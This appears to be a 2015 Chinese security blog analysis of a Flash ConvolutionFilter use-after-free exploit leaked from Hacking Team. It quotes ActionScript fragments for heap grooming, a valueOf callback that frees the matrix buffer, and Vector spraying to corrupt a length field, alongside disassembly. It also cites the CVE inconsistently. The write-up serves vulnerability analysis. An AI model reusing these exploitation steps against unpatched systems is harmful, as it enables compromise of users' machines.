07月07, 2015

Hacking Team攻击代码分析Part 2: 一个Pwn2Own漏洞的奇幻漂流

前一篇文章我们分析了HackingTeam泄露数据中的Flash 0day (bytearray 0day)。而在泄露数据中我们其实还看到了另外一个名为convolution_filter的flash exploit。

看了一下这个flash exploit,我很快意识到这个漏洞是一个已经修补的漏洞cve-2015-0329,在今年4月份被修补,这也解释了readme文档中,flash后面加了“(April 2015)”,意思是这个洞只能用到今年4月之前的flash版本中:

(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)

我个人对这个漏洞印象比较深,看似平凡的它有个不平凡的故事,今年的pwn2own大赛中,前Vupen主力Nicolas Joly正是用这个漏洞拿下了64位Flash插件:

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所以事情就变得很有趣了,一边是Nico用这个漏洞打 Pwn2Own,另一边HackingTeam(从常理推测,应该是通过其它渠道,和Nico无关)也掌握了这个漏洞并将其用于自己的Exploit工具包中。

CVE-2015-0349原理分析

再回头看一下CVE-2015-0349这个漏洞,这是一个ActionScript 3中ConvolutionFilter类的内部matrix数组的一个Use After Free漏洞,这是个非常好用的漏洞,在32位和64位上都可以轻松实现稳定利用。

我们来看一下HackingTeam泄露的exploit代码,关键部分如下:

  1. 创建ConvolutionFilter对象:
_// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]_

_for(i=20; i < alen; i+=6){_

_a[i] = new Class2(i);_

_for(j=i+1; j < i+5; j++)_

_**a[j] = new ConvolutionFilter(14,15);**_

_a[i+5] = new Class2(i+5);_

_}_
  1. 设置matrix

var m:Array = new Array(bLen);

m[0] = new Clasz;

m[1] = m[0];

try { filter.matrix = m; } catch (e:Error){}

这里有一个关键点,filter.matrix被赋值为m(类型是 Array),而Array m的第一个元素是一个Clasz类,而Clasz类定义了valueOf方法,这个valueOf是漏洞触发的关键点:

public class Clasz

{

public function Clasz() { }

prototype.valueOf = function()

{

}

  1. 在Clasz的valueOf函数中,设置matrixX:

prototype.valueOf = function()

{

if (filter.matrixX > 14) throw new Error(“”); // check for the second valueOf() call

ref = new Array(5);

collect.push(ref); // protect from GC // for RnD

filter.matrixX = 15; // reallocate filter matrix

// reuse freed memory

for(var i:int; i < ref.length; i++) {

ref[i] = new Vector.;

ref[i].length = bLen;

}

// return value for vector length overwriting

return 2; // = 0x40000000 as single precision

}

事实上filter.matrixX = 15执行完毕之后,ConvolutionFilter内部的一个float数组(我们叫他matrixArray)就会被释放,而从valueOf返回之后,已经释放的matrixArray还会继续被使用,并且往里面写入数据,从而造成了Use-After-Free。我们可以看到valueOf函数中,在设置了filter.matrixX之后,分配了一系列的vector,这些vector就是用来占用释放后的matrixArray的内存的。这样当程序继续往被释放后的matrixArray里写数据时,实际上是在往vector对象里面写数据,从而达到修改vector长度字段的目的,便于进一步exploit。

细节分析

我们首先先介绍一下ConvolutionFilter的关键结构:

ConvolutionFilterObject {

+10 ConvolutionFilter {

+14 int matrixX;

+18 int matrixY;

+1C float *matrixArray;

+20 int matrixLength;

}

}

ConvolutionFilter里面有成员存放matrix矩阵,matrixX和matrixY代表矩阵的x和y,matrixArray是动态分配的数组,其大小是由matrixX和matrixY决定的,关系如下:

matrixArray = alloc( matrixX matrix sizeof(float) )

当matrixX和matrixY改变时,如果原来的matrixArray大小不足以容纳现在的容量,则旧的matrixArray会被释放,然后分配新的matrixArray (UAF就是这么来的)

当exploit代码创建ConvolutionFilter时,传入的参数是matrixX=14,matrix=15:

a[j] = new ConvolutionFilter(14,15);

因此matrixArray初始大小为 14 15 4 = 840,然后我们看一下第二步,执行

try { filter.matrix = m; } catch (e:Error){}

时发生了什么:

ConvolutionFilter::set_matrix基本上是直接调用了另外一个函数,我们叫他set_matrix_internal:

.text:102E9604 loc_102E9604: ; CODE XREF: sub_102E95ED+Aj

.text:102E9604 push 14h

.text:102E9606 lea eax, [esi+24h]

.text:102E9609 push eax

.text:102E960A mov eax, [esi+8]

.text:102E960D mov ecx, [eax+4]

.text:102E9610 or edi, 1

.text:102E9613 push edi

.text:102E9614 call set_matrix_internal

调用该函数时参数如下:

_set_matrix_internal( paramArray, matrixArray, matrixLength )_

这里的关键点是:matrixArray直接作为参数被传入。我们来看一下set_matrix_internal函数,该函数的功能可以描述为:将paramArray(在exploit里面就是m这个数组)里面的每一项赋值给matrixArray中对应的项,由于matrixArray的类型为float *,因此如果有必要的话得把paramArray中的元素转换成float,对应逻辑的伪代码如下:

for ( i = 0; I < matrixLength; ++ i ) {

matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));

_}_

还记得我们的m[0]被设置成一个Clasz对象了吗?

m[0] = new Clasz;

将Clasz对象转换成Number的过程中,会调用Clasz对象的valueOf函数,而前面已经讲过,valueOf函数会设置filter.matrixX=15(原来的matrixX为14),此时由于matrixArray大小不够,于是旧的matrixArray被释放,新的matrixArray被分配。然后从valueOf返回到_set_matrix_internal_以后,程序继续向matrixArray里面写入值,注意这里用的还是旧的 matrixArray,于是UAF漏洞就这样产生了。

又是valueOf

如果你看过我们前一篇分析bytearray 0day的文章,你可能对valueOf这个函数依然印象深刻。事实上这两个洞无论是从产生原理,还是利用方式来讲都非常的相近。背后隐藏的逻辑是脚本语言从native code回调到脚本层(通过toString, valueOf, event等等),还是很容易出现没处理好而造成UAF等情况的发生。类似case已经在chrome, IE, flash, java等等软件中多次出现,有心的读者可以去留意一下。事实上这也是脚本语言漏洞挖掘中的一个值得切入的点。

漏洞防范

由于Adobe官方已针对此漏洞发布了安全更新,用户只要及时升级就可避免受此漏洞影响。

本文链接:http://blogs.360.cn/post/hacking-team-part2.html

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